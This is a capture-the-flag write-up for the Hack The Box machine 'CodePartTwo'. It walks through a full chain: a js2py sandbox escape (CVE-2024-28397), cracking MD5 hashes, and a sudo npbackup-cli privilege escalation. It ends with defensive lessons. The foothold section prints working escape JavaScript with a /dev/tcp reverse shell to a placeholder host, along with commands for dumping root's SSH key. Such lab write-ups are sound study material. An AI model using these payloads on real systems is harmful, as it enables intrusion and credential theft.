Summary
Personally rooted 2026-04-28.
CVE-2024-28397 (js2py sandbox escape) → SQLite MD5 hash crack → SSH as marco → npbackup-cli sudo privesc (user-writable config, –dump to recover root’s SSH key).
CodePartTwo runs a Flask “JavaScript sandbox” that delegates execution to
js2py 0.74, vulnerable to CVE-2024-28397: the supposed
sandbox can be bypassed via Object.getOwnPropertyNames on a Python
object, which exposes __getattribute__, which in turn walks
object.__subclasses__() to reach subprocess.Popen. From there,
RCE as app. MD5’d password hashes in the SQLite users table crack
trivially; one of them is marco’s SSH password. marco has sudo
on npbackup-cli whose config file (in marco’s home) defines what
to back up — point it at /root/, run as root, dump
/root/.ssh/id_rsa, SSH in.
The chain:
- Web app at
:8000is a JS sandbox; source download reveals js2py 0.74 +disable_pyimport()(insufficient). - CVE-2024-28397: bypass via
Object.getOwnPropertyNames→__getattribute__→__subclasses__→Popen. RCE asapp. - SQLite at
app/instance/users.db— MD5 hashes;marcocracks via CrackStation. - SSH as
marco.sudo -l: NOPASSWD on/usr/local/bin/npbackup-cli. - Edit
~/npbackup.confto add/root/to backup paths;sudo npbackup-cli backup;npbackup-cli --dump /root/.ssh/id_rsarecovers root’s key; SSH as root.
Recon
22/tcp OpenSSH
8000/tcp Python — Flask "code" sandbox
/static/source.zip (or similar) ships the Flask app’s source.
Reading it confirms js2py 0.74 + a SQLite users DB with MD5
hashes.
Foothold — CVE-2024-28397 (js2py sandbox escape)
js2py’s disable_pyimport() blocks the pyimport namespace but
doesn’t lock down access to Python objects that have already
crossed into the JS evaluator. The standard escape:
const proto = Object.getOwnPropertyNames({}).constructor;
const getattr = ({}).__getattribute__;
const obj = getattr(getattr, '__class__').__base__;
const subs = obj.__subclasses__();
const Popen = subs.filter(c => c.__name__ === 'Popen')[0];
const out = Popen(['bash','-c','bash -i >& /dev/tcp/<C2>/<p> 0>&1']);
(The original advisory: GitHub Security Advisory
GHSA-83w7-mw88-jq6h; PoC by Marco Bonelli.)
Reverse shell as app.
User pivot — SQLite + CrackStation
$ sqlite3 ~/app/instance/users.db .dump
... INSERT INTO users(username,password) VALUES('marco','<md5-hash>'); ...
CrackStation resolves the MD5. SSH:
ssh marco@<TARGET>.
Root — npbackup-cli config write + dump
$ sudo -l
(root) NOPASSWD: /usr/local/bin/npbackup-cli
$ cat ~/npbackup.conf
backup_paths:
- /home/marco
repo_uri: file:///opt/backups/marco
... (encryption_password set)
Edit:
backup_paths:
- /home/marco
- /root # add this
$ sudo npbackup-cli backup -c ~/npbackup.conf
$ sudo npbackup-cli --dump --include /root/.ssh/id_rsa -c ~/npbackup.conf
# id_rsa printed to stdout
ssh -i id_rsa root@<TARGET> → root.
Why each step worked
- CVE-2024-28397: js2py’s sandboxing is structural (block certain namespaces) rather than capability-based. Once a Python object surfaces in JS, attribute walks expose every class in the runtime.
- MD5 password storage: unsalted MD5 loses to rainbow tables.
NOPASSWDonnpbackup-cliwith user-controlled config: the sudo entry restricts the binary but not the config file; the config file points at the backup destination AND source paths.--dumpover an encrypted-at-rest backup: the backup is encrypted, but--dumpdecrypts in-place since the operator knows the encryption password (it’s in the config).
Counterfactuals
- Don’t run untrusted JavaScript via js2py. For sandboxed JS, use V8 isolates or a real WebAssembly sandbox.
- Use a real KDF for password storage.
- Sudo entries that take a config file path should restrict the
config to a root-owned, immutable location:
sudo npbackup-cli -c /etc/npbackup.conf— never the user’s home. - Backup processes that run as root should be opaque to the backup operator; the backup encryption key shouldn’t be recoverable from a user-readable file.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: CodeTwo” — https://0xdf.gitlab.io/2026/01/31/htb-codetwo.html
- IppSec, “CodePartTwo” video walkthrough — https://www.youtube.com/watch?v=VNPGgQNEKJc
- IppSec timestamps — https://ippsec.rocks/?#CodePartTwo
- GHSA-83w7-mw88-jq6h (CVE-2024-28397) advisory + PoC.
Personally rooted 2026-04-28. Key deviation from writeup: outbound TCP from target to
attacker was filtered, so reverse shell via /dev/tcp didn’t land. Work-around: write
Popen output to the Flask app’s web-accessible static dir (/home/app/app/static/) and
retrieve via HTTP.
Notable: /run_code has no auth check so the CVE can be triggered without an account.
The js2py JsArray is accepted by subprocess.Popen as its args argument directly.